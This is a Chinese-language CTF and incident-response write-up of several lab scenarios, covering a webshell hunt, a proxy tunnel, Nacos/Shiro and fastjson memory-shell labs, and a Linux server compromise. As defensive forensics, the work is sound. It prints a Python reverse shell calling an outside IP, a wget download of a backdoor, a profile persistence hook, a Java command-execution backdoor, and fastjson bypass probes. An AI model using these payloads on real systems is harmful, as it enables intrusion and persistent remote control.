黑客在被控服务器上创建了webshell,请分析获取webshell的文件名,请使用完整文件格式,flag格式:flag{/var/www/html/shell.php}
找webshell,直接将目录下文件放入D盾查杀


flag{/var/www/html/admin/ebak/ReData.php}
Q4
flag4: 黑客在被控服务器上创建了内网代理隐蔽通信隧道,请分析获取该隧道程序的文件名,请使用完整文件路径,flag格式:flag{/opt/apache2/shell}
内网代理一般来说是有配置文件或者启动文件的,通常可以检查网站目录文件,进程或者/tmp目录
本题写在Mysql的数据库配置文件my.conf
[common]
server_addr=178.102.115.17:52329
conn_type=tcp
vkey=6bHW7m4SMvy
auto_reconnection=true
max_conn=1000
flow_limit=1000
rate_limit=1000
# username and password of http and socks5 proxy
# basic_username=11
# basic_password=3
# web_username=user
# web_password=1234
crypt=true
compress=true
socks5代理设置,提交完整路径
flag{/var/tmp/proc/mysql}
第八章 内存马分析-java01-nacos
简介
靶机来源 @vulntarget
靶机可以采集本地搭建或者是云端调度
搭建链接 https://github.com/crow821/vulntarget
ssh root@ip 密码xjnacos 启动 /var/local/下的 autorun.sh即可正常启动
问题 1 nacos 用户密码的密文值作为 flag 提交 flag{密文}
问题 2 shiro 的key为多少 shiro 的 key 请记录下来 (备注请记录下,可能有用)
问题 3 靶机内核版本为 flag{}
问题 4 尝试应急分析,运行 get_flag 然后尝试 check_flag 通过后提交 flag
问题 5 尝试修复 nacos 并且自行用 poc 测试是否成功
Q1
nacos 用户密码的密文值作为 flag 提交 flag{密文}
在sql文件中nacos/conf/nacos-mysql.sql中找到了用户的密码
即MYSQL数据库初始化文件,通常会包含用户表

flag{$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu}
Q2
shiro 的key为多少 shiro 的 key 请记录下来 (请记录下来,会有用d)
找了一圈没发现啥,然后查看此压缩包

在其中的ADMIN_CONFIG中找到了Shiro的key

flag{KduO0i+zUIMcNNJnsZwU9Q==}
Q3
靶机内核版本为 flag{}
root@vulntarget:/var/local# uname -r
5.4.0-164-generic
flag{5.4.0-164-generic}
主要是对服务进行查看分析
第八章 内存马分析-java02-shiro
简介
靶机来源 @vulntarget
靶机可以采集本地搭建或者是云端调度
搭建链接 https://github.com/crow821/vulntarget
本题不提供靶机账户密码请根据nacos 获取的shirokey 攻击靶机后登录应急
Q1
1.将 shiro 的 key 作为 flag 提交
上一题的key
flag{KduO0i+zUIMcNNJnsZwU9Q==}
Q2
2.隐藏用户后删除,并将隐藏用户名作为 flag 提交
┌──(root㉿kali)-[~]
└─# nmap 52.82.43.245
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-30 04:05 EST
Nmap scan report for 245.43.82.52.in-addr.arpa (52.82.43.245)
Host is up (0.0084s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
8088/tcp open radan-http
8088端口利用key进行连接打入,这里直接用工具箱工具

查看/etc/passwd
root
-----------------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
vulntarget:x:1000:1000:vulntarget:/home/vulntarget:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
guest:x:0:0::/home/guest:/bin/bash
-----------------------------------------------------------------------
最后一个guest普通用户,但是有root级别的权限,判断为后门用户
flag{guest}
Q3
3.分析app.jar文件是否存在后门,并把后门路由名称作为 flag 提交 <flag{/manager}>
我们利用工具直接注入一个木马,连接上去,这里用的是哥斯拉

将app.jar下载下来用jd-gui反编译查看

看到后门路由
flag{/exec}
Q4
4.分析app.jar文件,将后门的密码作为 flag 提交
直接看
@RequestMapping({"/exec"})
public void toIndex(String cmd, ServletResponse response) throws IOException {
HttpServletResponse res = (HttpServletResponse)response;
PrintWriter writer = res.getWriter();
if (cmd != null) {
String o = "";
ProcessBuilder p;
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win"))
p = new ProcessBuilder(new String[] { "cmd.exe", "/c", cmd });
else {
p = new ProcessBuilder(new String[] { "/bin/sh", "-c", cmd });
}
Scanner c = new Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}
}
利用cmd作为参数传参,密码自然就是cmd
flag{cmd}

第八章 内存马分析-java03-fastjson
简介
靶机环境来源vulntarget,靶机可以采集本地搭建或者是云端调度
搭建链接 https://github.com/crow821/vulntarget
1. fastjson版本作为 flag 提交 flag{x.x.66}
2. 内核版本作为 flag 提交 flag{Dexxxxxxxxxux}
3. 清理内纯马 (热清理)
4. 清理后门 (热清理)
Q1
- fastjson版本作为 flag 提交 flag{x.x.66}
fscan扫一下
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
(icmp) Target 52.83.159.38 is alive
[*] Icmp alive hosts len is: 1
52.83.159.38:8088 open
52.83.159.38:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle: http://52.83.159.38:8088 code:200 len:1973 title:Vulntarget
fastjson特征直接测试,dnslong测试或者看报错信息
{"@type":"java.lang.AutoCloseable"
利用unicode编码绕过
{
"\u0040\u0074\u0079\u0070\u0065": "\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0041\u0075\u0074\u006f\u0043\u006c\u006f\u0073\u0065\u0061\u0062\u006c\u0065"
去除最后一个}看语句报错返回信息

flag{1.2.47}
Q2
内核版本作为 flag 提交 flag{Dexxxxxxxxxux}
结合C3P0进行内存马注入,后面靶机没了,但是看fastjson版本为1.2.47网上有很多漏洞利用
这里我去看wp,跟着poc打,感觉怪怪的
flag{Debian 4.19.260-1 (2022-09-29) x86_64 GNU/Linux}
第九章-blueteam 的小心思
服务器场景操作系统 Linux
服务器账号密码 root qi5qaz
任务环境说明
注:进去后执行 sed -i 's/Listen 80/Listen 9999/' /etc/apache2/ports.conf && service apache2 restart
开放题目
漏洞修复
Q1
攻击者通过什么密码成功登录了网站的后台?提交密码字符串的小写md5值,格式flag{md5}
查找日志,查看apache服务器日志/var/log/apache2/access.log
root@ubuntu18:/var/www/html# cat /var/log/apache2/access.log | awk '{print $1}' | sort |uniq -c | sort -nr
79 192.168.16.43
5 ::1
1
判定为黑客攻击ip192.168.16.43
root@ubuntu18:/var/www/html# find / -name "*.pcap"
/wireshark.pcap
过滤器筛选
http contains "login.php"

找到Aa12345^

flag{D63EDB0E9DF4CF411398E3658C0237E0}
Q2&Q3
攻击者在哪个PHP页面中成功上传了后门文件?例如upload.php页面,上传字符串”upload.php”的小写md5值,格式flag{md5}
找到攻击者上传的webshell文件,提交该文件的小写md5值,格式flag{md5}
http contains "upload.php"
并没有,还以为真是这个提示
既然说是上传了文件,那就抓上传文件请求包的特征去搜索
boundary 一般常用在 multipart/form-data POST 请求中分隔不同的部分(part),例如文件和其他数据
出现于文件文件上传
http contains "boundary"

上传了cpg.zip,上传的位置是/pluginmgr.php
后面再跟流量可以发现文件是cpg.php,D盾查杀也是一样的其实
Q2:flag{B05C0BE368FFA72E6CB2DF7E1E1B27BE}
Q3:flag{a097b773ced57bb7d51c6719fe8fe5f5}
Q4
攻击者后续又下载了一个可执行的后门程序,提交该文件的小写md5值,格式flag{md5}
我们已知攻击者上传了webshell为cpg.php文件,后续操作肯定是利用webshell进行操作
此流量中

看到执行命令为
m3=system("wget http://124.221.70.199:8889/is.world");
说明黑客远程下载了一个文件,可能就是题目说的后门程序,然后在服务器中锁定文件位置
root@ubuntu18:~# find / -name "is.world"
/var/www/html/plugins/. /is.world
flag{ee279c39bf3dcb225093bdbafeb9a439}
Q5
攻击者创建了后门用户的名称是?例如attack恶意用户,上传字符串”attack”的小写md5值,格式flag{md5}
查看/etc/passwd
root@ubuntu18:~# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:116:MySQL Server,,,:/nonexistent:/bin/false
knowledgegraphd:x:0:0::/home/knowledgegraphd:/bin/bash
普通用户权限高,可疑用户,尝试提交echo -n "knowledgegraphd" | md5sum
flag{4cda3461543c9a770a3349760594facd}
Q6
攻击者创建了一个持久化的配置项,导致任意用户登录就会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}
权限维持,持久化配置项
| 配置文件路径 | 作用范围 | 执行/加载时机 | 备注 |
|---|---|---|---|
/etc/profile | 系统级 (全用户) | 用户登录时执行一次 | 用于设置系统全局环境变量(如 PATH)。 |
/etc/bash.bashrc | 系统级 (全用户) | 每次打开 Bash 终端时 | Ubuntu/Debian 常用,全局的 Bash 交互配置。 |
/etc/environment | 系统级 (全用户) | 系统启动/登录时 | 它是键值对列表,不是脚本,不支持 shell 语法。 |
~/.bash_profile | 用户级 (单用户) | 用户登录时执行一次 | 优先于 ~/.profile;通常在此处调用 ~/.bashrc。 |
~/.profile | 用户级 (单用户) | 用户登录时执行一次 | 如果找不到 ~/.bash_profile,系统会加载它。 |
~/.bashrc | 用户级 (单用户) | 每次打开 Bash 终端时 | 最常用的文件,用于定义 Alias(别名)和提示符。 |
~/.zshrc | 用户级 (单用户) | 每次打开 Zsh 终端时 | 使用 Zsh(如安装了 Oh My Zsh)后的核心配置文件。 |
~/.bash_logout | 用户级 (单用户) | 用户注销/退出登录时 | 用于清理临时文件或运行备份脚本。 |
其中在/etc/profile下看到
root@ubuntu18:~# cat /etc/profile
# /etc/profile: system-wide .profile file for the Bourne shell (sh(1))
# and Bourne compatible shells (bash(1), ksh(1), ash(1), ...).
if [ "${PS1-}" ]; then
if [ "${BASH-}" ] && [ "$BASH" != "/bin/sh" ]; then
# The file bash.bashrc already sets the default PS1.
# PS1='\h:\w\$ '
if [ -f /etc/bash.bashrc ]; then
. /etc/bash.bashrc
fi
else
if [ "`id -u`" -eq 0 ]; then
PS1='# '
else
PS1='$ '
fi
fi
fi
/var/www/html/plugins/". "/is.world &
if [ -d /etc/profile.d ]; then
for i in /etc/profile.d/*.sh; do
if [ -r $i ]; then
. $i
fi
done
unset i
fi
权限维持/var/www/html/plugins/". "/is.world &
md5sum /etc/profile
flag{65bf3e4a9ac90d75ec28be0317775618}
Q7
攻击者创建了一个持久化的配置项,导致只有root用户登录才会触发后门的连接。提交该配置项对应配置文件的小写md5值,格式flag{md5}
整理一下
root用户Shell配置文件检查表
| 配置文件路径 | 检查命令 | 描述 |
|---|---|---|
| 主目录配置文件 | ||
/root/.bashrc | cat /root/.bashrc | root用户的bash交互shell配置 |
/root/.bash_profile | cat /root/.bash_profile | bash登录shell配置 |
/root/.profile | cat /root/.profile | Bourne shell登录配置 |
/root/.bash_login | cat /root/.bash_login | bash登录替代配置 |
/root/.bash_logout | cat /root/.bash_logout | root登出时执行的命令 |
/root/.bash_aliases | cat /root/.bash_aliases | root用户的命令别名 |
| 交互式配置 | ||
/root/.inputrc | cat /root/.inputrc | readline库配置(影响输入行为 |
| 历史记录文件 | ||
/root/.bash_history | tail -50 /root/.bash_history | 命令历史(可能被修改) |
| 环境变量文件 | ||
/root/.pam_environment | cat /root/.pam_environment | PAM环境变量设置 |
| 检查所有隐藏文件 | ||
/root/目录下所有文件 | ls -la /root/ | grep "^\." | 查看所有隐藏文件 |
| 全局配置文件 | ||
/etc/profile | cat /etc/profile | 系统全局profile(已发现恶意代码) |
/etc/bash.bashrc | cat /etc/bash.bashrc | 系统全局bashrc |
| 配置目录 | ||
/etc/profile.d/ | ls -la /etc/profile.d/ cat /etc/profile.d/*.sh | 系统级profile脚本 |
| 其他shell配置 | ||
/root/.zshrc | cat /root/.zshrc | 如果使用zsh shell |
/root/.tcshrc | cat /root/.tcshrc | 如果使用tcsh shell |
/root/.cshrc | cat /root/.cshrc | 如果使用csh shell |
这次在这
cat /root/.bashrc
找到语句
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.221.70.199",9919));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' &
经典反弹shell创建后门,利用python启动
md5sum /root/.bashrc
flag{4acc9c465eeeb139c194893ec0a8bcbc}
Q8
攻击者加密了哪个数据库?提交数据库的文件夹名,例如user数据库对应存放位置为user文件夹,上传字符串”user”的小写md5值,格式flag{md5}
查看框架配置文件,找找就找得到
root@ubuntu18:~# find / -name config.inc.php
/var/www/html/include/config.inc.php
<?php
// Coppermine configuration file
// Database configuration
$CONFIG['dbtype'] = 'pdo:mysql'; // Your database type
$CONFIG['dbserver'] = 'localhost'; // Your database server
$CONFIG['dbuser'] = 'root'; // Your database username
$CONFIG['dbpass'] = 'mysql123'; // Your database password
$CONFIG['dbname'] = 'mirage'; // Your database name
可以用Navicat连接,但是我的坏掉了,于是在服务器上连接的,你好,JPMorgan Chase 打不开
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| JPMorgan Chase |
| mirage |
| mysql |
| performance_schema |
| sys |
+--------------------+
6 rows in set (0.00 sec)
mysql> Traceback (most recent call last):
File "<string>", line 1, in <module>
File "/usr/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 110] Connection timed out
mysql> use JPMorgan Chase
ERROR 1049 (42000): Unknown database 'JPMorgan'
mysql> use JPMorgan Chase
ERROR 1049 (42000): Unknown database 'JPMorgan'
查看数据库存储文件
/var/lib/mysql
root@ubuntu18:/var/lib/mysql# ls
auto.cnf ca.pem client-key.pem debian-5.7.flag ibdata1 ib_logfile1 JPMorgan@0020Chase mysql performance_schema public_key.pem server-key.pem
ca-key.pem client-cert.pem clockup.php ib_buffer_pool ib_logfile0 ibtmp1 mirage mysql_upgrade_info private_key.pem server-cert.pem sys
JPMorgan@0020Chase
flag{0928a5424aa6126e5923980ca103560e}
Q9
解密数据库,提交Harper用户对应Areer的值。提交Areer值的小写md5值,格式flag{md5}
find / -type f -newer /var/www/html/plugins/cpg.php ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm
/: 从根目录开始查找。
-type f: 只查找文件(不包括目录、链接等)。
-newer /var/www/html/plugins/cpg.php: 找出比这个文件新的文件。
! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm: 找出比这个文件旧的文件
root@ubuntu18:/var/lib/mysql# find / -type f -newer /var/www/html/plugins/cpg.php ! -newer /var/lib/mysql/JPMorgan@0020Chase/Balance.frm
find: ‘/proc/11506/task/11506/fdinfo/6’: No such file or directory
find: ‘/proc/11506/fdinfo/5’: No such file or directory
/var/log/unattended-upgrades/unattended-upgrades-dpkg.log
/var/log/journal/2bc98b82d1f84854bf5a0e90f0541f93/system@8d0a07018d4d41b185acc80dccc9f355-000000000000050d-0005f993cd1ee382.journal
/var/log/journal/2bc98b82d1f84854bf5a0e90f0541f93/system@8d0a07018d4d41b185acc80dccc9f355-0000000000000f90-00060a67b8d79061.journal
/var/log/tallylog
/var/log/apache2/access.log
/var/lib/mysql/clockup.php
/var/lib/mysql/mysql/innodb_index_stats.ibd
/var/lib/mysql/mysql/innodb_table_stats.ibd
/var/lib/mysql/mirage/cpg16x_config.ibd
/var/lib/mysql/mirage/cpg16x_users.ibd
/var/lib/mysql/mirage/cpg16x_banned.ibd
/var/lib/mysql/mirage/cpg16x_temp_messages.ibd
/var/lib/mysql/mirage/cpg16x_sessions.ibd
/var/lib/mysql/JPMorgan@0020Chase/Balance.frm
/var/lib/mysql/JPMorgan@0020Chase/UserIdentity.ibd
/var/lib/mysql/JPMorgan@0020Chase/Balance.ibd
/var/lib/mysql/JPMorgan@0020Chase/UserIdentity.frm
/var/lib/mysql/JPMorgan@0020Chase/db.opt
/var/www/html/logs/security.log.php
/etc/gshadow
/etc/subuid
/etc/passwd
/etc/profile
/etc/subgid
/etc/group
/etc/shadow
/root/.bashrc
find: ‘/sys/kernel/slab/anon_vma/cgroup/anon_vma(245:systemd-journal-flush.service)’: No such file or directory
find: ‘/sys/kernel/slab/anon_vma/cgroup/anon_vma(357:systemd-fsckd.service)’: No such file or directory
find: ‘/sys/kernel/slab/anon_vma/cgroup/anon_vma(968:systemd-hostnamed.service)’: No such file or directory
find: ‘/sys/kernel/slab/anon_vma/cgroup/anon_vma(708:systemd-user-sessions.service)’: No such file or directory
find: ‘/sys/kernel/slab/anon_vma/cgroup/anon_vma(552:systemd-networkd-wait-online.service)’: No such file or directory
find: ‘/sys/kernel/slab/anon_vma/cgroup/anon_vma(851:fstrim.service)’: No such file or directory
慢慢排除,找到加密文件
/var/lib/mysql/clockup.php
ai出解密脚本即可
flag{8fd82b8864d71ed7fa12b59e6e34cd1c}
Q10
因为什么文件中的漏洞配置,导致了攻击者成功执行命令并提权。提交该文件的小写md5值,格式flag{md5}
配置漏洞提权,查看SUID和SUDO
root@ubuntu18:/var/lib/mysql# find / -user root -perm -4000 2>/dev/null
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/chfn
/bin/umount
/bin/su
/bin/ping
/bin/fusermount
/bin/mount
/usr/bin/sudo
查看cat /etc/sudoers,文件作用
- 定义哪些用户/用户组可以使用sudo命令
- 指定用户可以以哪些权限运行哪些命令
- 控制sudo命令的执行环境
root@ubuntu18:/var/lib/mysql# cat /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
www-data ALL=(root) NOPASSWD: /bin/systemctl status apache2.service
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
[1]+ Exit 1 /var/www/html/plugins/". "/is.world (wd: ~)
(wd now: /var/lib/mysql)
配置允许www-data用户以root身份执行特点的systemctl命令,可见
md5sum /etc/sudoers
flag{6585817513b0ea96707ebb0d04d6aeff}
评论功能测试